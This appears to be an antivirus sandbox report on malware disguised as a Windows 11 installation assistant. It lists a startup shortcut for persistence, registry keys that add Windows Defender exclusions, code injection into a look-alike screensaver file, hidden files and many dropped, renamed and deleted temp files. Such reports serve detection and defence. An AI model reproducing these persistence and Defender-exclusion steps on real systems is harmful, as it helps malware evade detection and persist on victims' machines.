Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\windows11installationassistant.lnk
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\soFtwAre\MICrosOFt\wiNdoWS defender\eXcLuSIons\eXtensIOnS] 'dLl' = '00000000'
- [<HKLM>\SoftwAre\mIcroSofT\wINdowS deFeNder\exclusioNS\extenSIoNS] 'sCr' = '00000000'
- [<HKLM>\SOfTware\MiCrosofT\wIndOws defender\eXclusiONS\eXTeNsionS] 'CMd' = '00000000'
- [<HKLM>\SoFtwAre\MIcrosoft\WindoWs deFeNder\eXclUsiONS\eXteNSIOnS] 'exe' = '00000000'
- [<HKLM>\sOFTWare\micrOsoFt\wINdoWS deFender\exCLusIONs\pAthS] '<DRIVERS>\etc\hOSTS' = '00000000'
Executes the following
- '%WINDIR%\syswow64\taskkill.exe' /f /im "Windows11InstaIIation.scr"
Injects code into
the following user processes:
- windows11instaiiation.scr
Modifies file system
Creates the following files
- %TEMP%\is-doip1.tmp\<File name>.tmp
- %APPDATA%\windows11installationassistant\images\is-5afeq.tmp
- %APPDATA%\windows11installationassistant\images\is-rf3ve.tmp
- %APPDATA%\windows11installationassistant\images\is-impgu.tmp
- %APPDATA%\windows11installationassistant\images\is-2lnvj.tmp
- C:\tmp\.cmd
- C:\tmp\.vbs
- %TEMP%\is-kuki3.tmp\temp\.cmd
- %TEMP%\autc0de.tmp
- %TEMP%\1e9d4r0a.tmp
- %APPDATA%\windows11installationassistant\images\is-d95vv.tmp
- %APPDATA%\windows11installationassistant\images\is-ne03n.tmp
- %TEMP%\autc0ef.tmp
- %WINDIR%\temp\2tny8d7j.tmp
- %WINDIR%\temp\autcaaf.tmp
- %WINDIR%\temp\autcabf.tmp
- %TEMP%\autcba7.tmp
- %TEMP%\8ypa3o6m.tmp
- %TEMP%\autcbb8.tmp
- %TEMP%\autcc36.tmp
- %WINDIR%\temp\autd317.tmp
- %WINDIR%\temp\4lmz5d4i.tmp
- %TEMP%\autc0ff.tmp
- %WINDIR%\temp\autca8f.tmp
- %APPDATA%\windows11installationassistant\images\is-dbf1f.tmp
- %APPDATA%\windows11installationassistant\images\is-m4amu.tmp
- %WINDIR%\temp\autd347.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-44ks6.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-gdnmr.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-mv7cd.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-r359h.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-legha.tmp
- %APPDATA%\windows11installationassistant\images\is-5rt7g.tmp
- %APPDATA%\windows11installationassistant\images\is-etb2n.tmp
- %APPDATA%\windows11installationassistant\images\is-dh080.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-un1kn.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-r26fg.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-ltrtl.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-7c1dm.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-dn8c4.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-mrcbi.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-frecv.tmp
- %APPDATA%\windows11installationassistant\images\is-s179a.tmp
- %APPDATA%\windows11installationassistant\is-sml1a.tmp
- %APPDATA%\windows11installationassistant\images\is-ieoce.tmp
- %APPDATA%\windows11installationassistant\images\is-13a4e.tmp
- %APPDATA%\windows11installationassistant\images\is-ouftl.tmp
- %APPDATA%\windows11installationassistant\images\is-rlm20.tmp
- %WINDIR%\temp\autd327.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-mfhf0.tmp
- %APPDATA%\windows11installationassistant\images\is-3q7rq.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-d8vam.tmp
- %WINDIR%\temp\autd90f.tmp
- %TEMP%\2k8x8h8q.tmp
- %TEMP%\autfc68.tmp
- %TEMP%\autfc79.tmp
- %WINDIR%\temp\aut7ad.tmp
- %WINDIR%\temp\4pjp8p8x.tmp
- %APPDATA%\windows11installationassistant\.cmd
- %APPDATA%\windows11installationassistant\.vbs
- %WINDIR%\temp\aut898.tmp
- %WINDIR%\temp\aut8b9.tmp
- %WINDIR%\temp\autda6.tmp
- %WINDIR%\temp\1m9u3w2m.tmp
- %WINDIR%\temp\aute05.tmp
- %WINDIR%\temp\aute54.tmp
- %WINDIR%\temp\aut1802.tmp
- %WINDIR%\temp\2s3f4i4r.tmp
- %WINDIR%\temp\aut1803.tmp
- %WINDIR%\temp\aut1814.tmp
- %LOCALAPPDATA%\orange group\windows 11 compatibility checker\windowscritical.png
- %LOCALAPPDATA%\orange group\windows 11 compatibility checker\windowswarning.png
- %LOCALAPPDATA%\orange group\windows 11 compatibility checker\windowssuccess.png
- %LOCALAPPDATA%\orange group\windows 11 compatibility checker\windowshelp.png
- %LOCALAPPDATA%\orange group\windows 11 compatibility checker\pfp.png
- %LOCALAPPDATA%\orange group\windows 11 compatibility checker\windows 11.png
- %TEMP%\autfc48.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-9q7ko.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-iqrng.tmp
- %WINDIR%\temp\2k9x0h0q.tmp
- %WINDIR%\temp\autd920.tmp
- %WINDIR%\temp\autd940.tmp
- %TEMP%\autda47.tmp
- %TEMP%\2j5l4v0f.tmp
- %TEMP%\autda68.tmp
- %TEMP%\autdb43.tmp
- %WINDIR%\temp\aute2cf.tmp
- %WINDIR%\temp\2s3x8d8f.tmp
- %WINDIR%\temp\aute34d.tmp
- %WINDIR%\temp\aute3fa.tmp
- %WINDIR%\temp\aute81d.tmp
- %WINDIR%\temp\2h9s6u4f.tmp
- %WINDIR%\temp\aute87b.tmp
- %WINDIR%\temp\aute976.tmp
- %TEMP%\autee06.tmp
- %TEMP%\1o8x2l0x.tmp
- %TEMP%\autee45.tmp
- %TEMP%\autee94.tmp
- %WINDIR%\temp\autf7b6.tmp
- %WINDIR%\temp\1g6n8i4w.tmp
- %WINDIR%\temp\autf7d6.tmp
- %WINDIR%\temp\autf7e7.tmp
- %WINDIR%\temp\autfa84.tmp
- %WINDIR%\temp\autfaf2.tmp
- %WINDIR%\temp\2j3l6v8f.tmp
- %APPDATA%\windows11installationassistant\images\is-05gji.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-g72b6.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-eu12o.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-nj674.tmp
- %APPDATA%\windows11installationassistant\is-041ea.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-dbf5i.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-9bnq1.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-usv1j.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-bbndl.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-buu95.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-ql9f0.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-7olpg.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-h11g7.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-qaad3.tmp
- %APPDATA%\windows11installationassistant\images\is-t96lk.tmp
- %APPDATA%\windows11installationassistant\images\is-umapk.tmp
- %APPDATA%\windows11installationassistant\images\is-6mpbr.tmp
- %APPDATA%\windows11installationassistant\images\is-fpbu3.tmp
- %TEMP%\is-kuki3.tmp\temp\is-n71dl.tmp
- %APPDATA%\windows11installationassistant\images\is-fbg0m.tmp
- %APPDATA%\windows11installationassistant\images\is-3fgq6.tmp
- %APPDATA%\windows11installationassistant\images\is-7ajsu.tmp
- %APPDATA%\windows11installationassistant\images\is-d06qq.tmp
- %APPDATA%\windows11installationassistant\images\is-tav1f.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-jhg0h.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-gc2q0.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-m6squ.tmp
- %LOCALAPPDATA%\orange group\windows 11 compatibility checker\cpus.txt
- %APPDATA%\windows11installationassistant\images\is-hjvp3.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-ictgc.tmp
- %TEMP%\is-6p2v9.tmp\_isetup\_shfoldr.dll
- %TEMP%\is-a7stb.tmp\<File name>.tmp
- %TEMP%\is-kuki3.tmp\_isetup\_setup64.tmp
- %TEMP%\is-kuki3.tmp\_isetup\_shfoldr.dll
- %TEMP%\is-kuki3.tmp\is-agngs.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-dftd0.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-ddm4s.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-sv2kj.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-74ssb.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-hdj1f.tmp
- %TEMP%\is-6p2v9.tmp\_isetup\_setup64.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-ep8i8.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-dn08q.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-l8dan.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-lbqnf.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-t627g.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-1f68v.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-cjr6f.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-bsf98.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-sll3e.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-8e13i.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-qhfmg.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-5jtqf.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-k66jc.tmp
- %WINDIR%\temp\autfb12.tmp
- %APPDATA%\windows11installationassistant\images\is-5vhub.tmp
- %APPDATA%\windows11installationassistant\images\is-tqia7.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-7hism.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-46t8d.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-m6gf9.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-d1ler.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-60euv.tmp
- %APPDATA%\windows11installationassistant\images\is-r7pap.tmp
- %APPDATA%\windows11installationassistant\images\is-pibe3.tmp
- %APPDATA%\windows11installationassistant\images\is-0l57t.tmp
- %APPDATA%\windows11installationassistant\images\is-dqan8.tmp
- %APPDATA%\windows11installationassistant\images\is-mu4b7.tmp
- %APPDATA%\windows11installationassistant\images\is-2i3ja.tmp
- %APPDATA%\windows11installationassistant\images\is-q73gu.tmp
- %APPDATA%\windows11installationassistant\images\is-h2tfa.tmp
- %APPDATA%\windows11installationassistant\images\is-euaqg.tmp
- %APPDATA%\windows11installationassistant\images\is-gkfik.tmp
- %APPDATA%\windows11installationassistant\images\is-tcpck.tmp
- %APPDATA%\windows11installationassistant\images\is-pvcks.tmp
- %APPDATA%\windows11installationassistant\images\is-57vtb.tmp
- %APPDATA%\windows11installationassistant\images\is-hk73s.tmp
- %APPDATA%\windows11installationassistant\images\is-qrlhq.tmp
- %APPDATA%\windows11installationassistant\images\is-d9ppn.tmp
- %APPDATA%\windows11installationassistant\images\is-173cg.tmp
- %APPDATA%\windows11installationassistant\images\is-88t4r.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-66qn0.tmp
- %APPDATA%\windows11installationassistant\images\is-2pf2n.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-6ev74.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-mbn9i.tmp
- %APPDATA%\windows11installationassistant\images\is-l1qb2.tmp
- %APPDATA%\windows11installationassistant\images\is-0i1nh.tmp
- %APPDATA%\windows11installationassistant\images\is-qfav4.tmp
- %APPDATA%\windows11installationassistant\images\is-vfmjc.tmp
- %APPDATA%\windows11installationassistant\images\is-pdbvs.tmp
- C:\tmp\is-ls72k.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-2n75h.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-tfaua.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-pfmdh.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-kjipr.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-epnok.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-qvboo.tmp
- C:\tmp\is-bbvoo.tmp
- %APPDATA%\windows11installationassistant\images\is-24rku.tmp
- %APPDATA%\windows11installationassistant\images\is-466f5.tmp
- %APPDATA%\windows11installationassistant\images\is-vr1kf.tmp
- %APPDATA%\windows11installationassistant\images\is-ckaqa.tmp
- %APPDATA%\windows11installationassistant\images\is-pr7fm.tmp
- %APPDATA%\windows11installationassistant\images\is-988jt.tmp
- %APPDATA%\windows11installationassistant\images\is-nvf76.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-d7suu.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-9n99r.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-iql5j.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-v647c.tmp
- %TEMP%\tilfcy0oh77d7ykoi62m7iyiks78zxy.tmp
Sets the 'hidden' attribute to the following files
- %APPDATA%\windows11installationassistant\ar.xml
- %TEMP%\is-kuki3.tmp\temp\r.exe
- C:\tmp\ico1.ico
- C:\tmp\pbd.dll
- %APPDATA%\windows11installationassistant\windows11instaiiation.scr
- %APPDATA%\windows11installationassistant\.cmd
- %APPDATA%\windows11installationassistant\.vbs
Deletes the following files
- %TEMP%\is-6p2v9.tmp\_isetup\_setup64.tmp
- %TEMP%\is-kuki3.tmp\temp\.cmd
- %TEMP%\2k8x8h8q.tmp
- %TEMP%\autfc79.tmp
- %TEMP%\autfc68.tmp
- %TEMP%\autfc48.tmp
- %WINDIR%\temp\2k9x0h0q.tmp
- %WINDIR%\temp\aut7ad.tmp
- %WINDIR%\temp\autfb12.tmp
- %WINDIR%\temp\autfa84.tmp
- %WINDIR%\temp\1g6n8i4w.tmp
- %WINDIR%\temp\autf7e7.tmp
- %WINDIR%\temp\autf7d6.tmp
- %WINDIR%\temp\autf7b6.tmp
- %TEMP%\1o8x2l0x.tmp
- %WINDIR%\temp\autfaf2.tmp
- %WINDIR%\temp\aut898.tmp
- %WINDIR%\temp\aut8b9.tmp
- %WINDIR%\temp\4pjp8p8x.tmp
- %TEMP%\is-kuki3.tmp\_isetup\_shfoldr.dll
- %TEMP%\is-kuki3.tmp\_isetup\_setup64.tmp
- %TEMP%\is-kuki3.tmp\temp\r.exe
- C:\tmp\pbd.dll
- C:\tmp\ico1.ico
- %APPDATA%\windows11installationassistant\ar.xml
- %TEMP%\is-kuki3.tmp\windows.11.compatibility.checker.exe
- %WINDIR%\temp\2s3f4i4r.tmp
- %WINDIR%\temp\aut1814.tmp
- %WINDIR%\temp\aut1803.tmp
- %WINDIR%\temp\aut1802.tmp
- %WINDIR%\temp\1m9u3w2m.tmp
- %WINDIR%\temp\aute54.tmp
- %WINDIR%\temp\aute05.tmp
- %WINDIR%\temp\autda6.tmp
- %TEMP%\autee94.tmp
- %TEMP%\is-a7stb.tmp\<File name>.tmp
- %TEMP%\autee45.tmp
- %WINDIR%\temp\2h9s6u4f.tmp
- %TEMP%\8ypa3o6m.tmp
- %TEMP%\autcc36.tmp
- %TEMP%\autcbb8.tmp
- %TEMP%\autcba7.tmp
- %WINDIR%\temp\2tny8d7j.tmp
- %WINDIR%\temp\autcabf.tmp
- %WINDIR%\temp\autd317.tmp
- %WINDIR%\temp\autcaaf.tmp
- %TEMP%\1e9d4r0a.tmp
- %TEMP%\autc0ff.tmp
- %TEMP%\autc0ef.tmp
- %TEMP%\autc0de.tmp
- %TEMP%\is-doip1.tmp\<File name>.tmp
- %TEMP%\is-6p2v9.tmp\_isetup\_shfoldr.dll
- %WINDIR%\temp\autca8f.tmp
- %WINDIR%\temp\autd327.tmp
- %WINDIR%\temp\autd347.tmp
- %WINDIR%\temp\4lmz5d4i.tmp
- %WINDIR%\temp\aute976.tmp
- %WINDIR%\temp\aute87b.tmp
- %WINDIR%\temp\aute81d.tmp
- %WINDIR%\temp\2s3x8d8f.tmp
- %WINDIR%\temp\aute3fa.tmp
- %WINDIR%\temp\aute34d.tmp
- %WINDIR%\temp\aute2cf.tmp
- %TEMP%\2j5l4v0f.tmp
- %TEMP%\autdb43.tmp
- %TEMP%\autda68.tmp
- %TEMP%\autda47.tmp
- %WINDIR%\temp\2j3l6v8f.tmp
- %WINDIR%\temp\autd940.tmp
- %WINDIR%\temp\autd920.tmp
- %WINDIR%\temp\autd90f.tmp
- %TEMP%\autee06.tmp
- %TEMP%\tilfcy0oh77d7ykoi62m7iyiks78zxy.tmp
Moves the following files
- from %TEMP%\is-kuki3.tmp\is-agngs.tmp to %TEMP%\is-kuki3.tmp\windows.11.compatibility.checker.exe
- from %APPDATA%\windows11installationassistant\images\is-173cg.tmp to %APPDATA%\windows11installationassistant\images\menuicon@350.png
- from %APPDATA%\windows11installationassistant\images\is-d9ppn.tmp to %APPDATA%\windows11installationassistant\images\menuicon@325.png
- from %APPDATA%\windows11installationassistant\images\is-qrlhq.tmp to %APPDATA%\windows11installationassistant\images\menuicon@300.png
- from %APPDATA%\windows11installationassistant\images\is-hk73s.tmp to %APPDATA%\windows11installationassistant\images\menuicon@275.png
- from %APPDATA%\windows11installationassistant\images\is-57vtb.tmp to %APPDATA%\windows11installationassistant\images\menuicon@250.png
- from %APPDATA%\windows11installationassistant\images\is-pvcks.tmp to %APPDATA%\windows11installationassistant\images\menuicon@225.png
- from %APPDATA%\windows11installationassistant\images\is-tcpck.tmp to %APPDATA%\windows11installationassistant\images\menuicon@200.png
- from %APPDATA%\windows11installationassistant\images\is-gkfik.tmp to %APPDATA%\windows11installationassistant\images\menuicon@175.png
- from %APPDATA%\windows11installationassistant\images\is-euaqg.tmp to %APPDATA%\windows11installationassistant\images\menuicon@150.png
- from %APPDATA%\windows11installationassistant\images\is-h2tfa.tmp to %APPDATA%\windows11installationassistant\images\menuicon@125.png
- from %APPDATA%\windows11installationassistant\images\is-q73gu.tmp to %APPDATA%\windows11installationassistant\images\menuicon@100.png
- from %APPDATA%\windows11installationassistant\images\is-2i3ja.tmp to %APPDATA%\windows11installationassistant\images\foldericon@75-.png
- from %APPDATA%\windows11installationassistant\images\is-mu4b7.tmp to %APPDATA%\windows11installationassistant\images\foldericon@350.png
- from %APPDATA%\windows11installationassistant\images\is-dqan8.tmp to %APPDATA%\windows11installationassistant\images\foldericon@325.png
- from %APPDATA%\windows11installationassistant\icons\classic\is-eu12o.tmp to %APPDATA%\windows11installationassistant\icons\classic\d16.ico
- from %APPDATA%\windows11installationassistant\images\is-0l57t.tmp to %APPDATA%\windows11installationassistant\images\foldericon@300.png
- from %APPDATA%\windows11installationassistant\images\is-r7pap.tmp to %APPDATA%\windows11installationassistant\images\fencessmall@200.png
- from %APPDATA%\windows11installationassistant\icons\classic\is-60euv.tmp to %APPDATA%\windows11installationassistant\icons\classic\d20.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-d1ler.tmp to %APPDATA%\windows11installationassistant\icons\classic\d2.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-m6gf9.tmp to %APPDATA%\windows11installationassistant\icons\classic\d1a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-46t8d.tmp to %APPDATA%\windows11installationassistant\icons\classic\d19a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-7hism.tmp to %APPDATA%\windows11installationassistant\icons\classic\d5a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-66qn0.tmp to %APPDATA%\windows11installationassistant\icons\classic\d5.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-6ev74.tmp to %APPDATA%\windows11installationassistant\icons\classic\prev.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-v647c.tmp to %APPDATA%\windows11installationassistant\icons\classic\next.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-d8vam.tmp to %APPDATA%\windows11installationassistant\icons\classic\d9a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-iql5j.tmp to %APPDATA%\windows11installationassistant\icons\classic\d9.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-9n99r.tmp to %APPDATA%\windows11installationassistant\icons\classic\d8a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-d7suu.tmp to %APPDATA%\windows11installationassistant\icons\classic\d8.ico
- from %APPDATA%\windows11installationassistant\images\is-nvf76.tmp to %APPDATA%\windows11installationassistant\images\fencessmall@150.png
- from %APPDATA%\windows11installationassistant\images\is-pibe3.tmp to %APPDATA%\windows11installationassistant\images\foldericon@100.png
- from %APPDATA%\windows11installationassistant\icons\classic\is-dn8c4.tmp to %APPDATA%\windows11installationassistant\icons\classic\d4.ico
- from %APPDATA%\windows11installationassistant\images\is-impgu.tmp to %APPDATA%\windows11installationassistant\images\pagerbullets.png
- from %APPDATA%\windows11installationassistant\icons\classic\is-9q7ko.tmp to %APPDATA%\windows11installationassistant\icons\classic\d15.ico
- from %APPDATA%\windows11installationassistant\images\is-rf3ve.tmp to %APPDATA%\windows11installationassistant\images\pagerbullet@100.png
- from %APPDATA%\windows11installationassistant\images\is-5afeq.tmp to %APPDATA%\windows11installationassistant\images\pagerbullet.png
- from %APPDATA%\windows11installationassistant\images\is-ne03n.tmp to %APPDATA%\windows11installationassistant\images\pagerbackr@100.png
- from %APPDATA%\windows11installationassistant\images\is-d95vv.tmp to %APPDATA%\windows11installationassistant\images\pagerbackc.png
- from %APPDATA%\windows11installationassistant\images\is-dbf1f.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@350.png
- from %APPDATA%\windows11installationassistant\images\is-3q7rq.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@325.png
- from %APPDATA%\windows11installationassistant\images\is-m4amu.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@300.png
- from %APPDATA%\windows11installationassistant\images\is-rlm20.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@275.png
- from %APPDATA%\windows11installationassistant\images\is-ouftl.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@250.png
- from %APPDATA%\windows11installationassistant\images\is-13a4e.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@225.png
- from %APPDATA%\windows11installationassistant\images\is-ieoce.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@200.png
- from %APPDATA%\windows11installationassistant\is-sml1a.tmp to %APPDATA%\windows11installationassistant\windows11instaiiation.scr
- from %APPDATA%\windows11installationassistant\images\is-s179a.tmp to %APPDATA%\windows11installationassistant\images\fencessmall@175.png
- from %APPDATA%\windows11installationassistant\icons\new blue\is-frecv.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d13.ico
- from %APPDATA%\windows11installationassistant\images\is-988jt.tmp to %APPDATA%\windows11installationassistant\images\fencessmall@125.png
- from %APPDATA%\windows11installationassistant\icons\classic\is-mrcbi.tmp to %APPDATA%\windows11installationassistant\icons\classic\d4a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-7c1dm.tmp to %APPDATA%\windows11installationassistant\icons\classic\d3a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-ltrtl.tmp to %APPDATA%\windows11installationassistant\icons\classic\d3.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-r26fg.tmp to %APPDATA%\windows11installationassistant\icons\classic\d2a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-un1kn.tmp to %APPDATA%\windows11installationassistant\icons\classic\d20a.ico
- from %APPDATA%\windows11installationassistant\images\is-dh080.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@175.png
- from %APPDATA%\windows11installationassistant\images\is-etb2n.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@150.png
- from %APPDATA%\windows11installationassistant\images\is-5rt7g.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@125.png
- from %APPDATA%\windows11installationassistant\icons\new blue\is-legha.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d19a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-r359h.tmp to %APPDATA%\windows11installationassistant\icons\classic\d19.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-mv7cd.tmp to %APPDATA%\windows11installationassistant\icons\classic\d18a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-gdnmr.tmp to %APPDATA%\windows11installationassistant\icons\classic\d18.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-44ks6.tmp to %APPDATA%\windows11installationassistant\icons\classic\d17a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-iqrng.tmp to %APPDATA%\windows11installationassistant\icons\classic\d17.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-mfhf0.tmp to %APPDATA%\windows11installationassistant\icons\classic\d15a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-g72b6.tmp to %APPDATA%\windows11installationassistant\icons\classic\d16a.ico
- from %APPDATA%\windows11installationassistant\images\is-05gji.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@100.png
- from %APPDATA%\windows11installationassistant\images\is-pr7fm.tmp to %APPDATA%\windows11installationassistant\images\fencessmall@100.png
- from %APPDATA%\windows11installationassistant\icons\new blue\is-h11g7.tmp to %APPDATA%\windows11installationassistant\icons\new blue\next.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-buu95.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d8a.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-bbndl.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d8.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-usv1j.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d7a.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-9bnq1.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d7.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-dbf5i.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d6a.ico
- from %APPDATA%\windows11installationassistant\is-041ea.tmp to %APPDATA%\windows11installationassistant\ar.xml
- from %APPDATA%\windows11installationassistant\icons\new blue\is-nj674.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d6.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-m6squ.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d18a.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-mbn9i.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d18.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-jhg0h.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d17a.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-k66jc.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d17.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-gc2q0.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d16a.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-ictgc.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d16.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-qhfmg.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d19.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-ql9f0.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d9.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-8e13i.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d15a.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-bsf98.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d14a.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-cjr6f.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d14.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-1f68v.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d13a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-t627g.tmp to %APPDATA%\windows11installationassistant\icons\classic\d14a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-lbqnf.tmp to %APPDATA%\windows11installationassistant\icons\classic\d14.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-l8dan.tmp to %APPDATA%\windows11installationassistant\icons\classic\d13a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-dn08q.tmp to %APPDATA%\windows11installationassistant\icons\classic\d13.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-5jtqf.tmp to %APPDATA%\windows11installationassistant\icons\classic\d12a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-ep8i8.tmp to %APPDATA%\windows11installationassistant\icons\classic\d12.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-hdj1f.tmp to %APPDATA%\windows11installationassistant\icons\classic\d11a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-74ssb.tmp to %APPDATA%\windows11installationassistant\icons\classic\d11.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-sv2kj.tmp to %APPDATA%\windows11installationassistant\icons\classic\d10a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-ddm4s.tmp to %APPDATA%\windows11installationassistant\icons\classic\d10.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-dftd0.tmp to %APPDATA%\windows11installationassistant\icons\classic\d1.ico
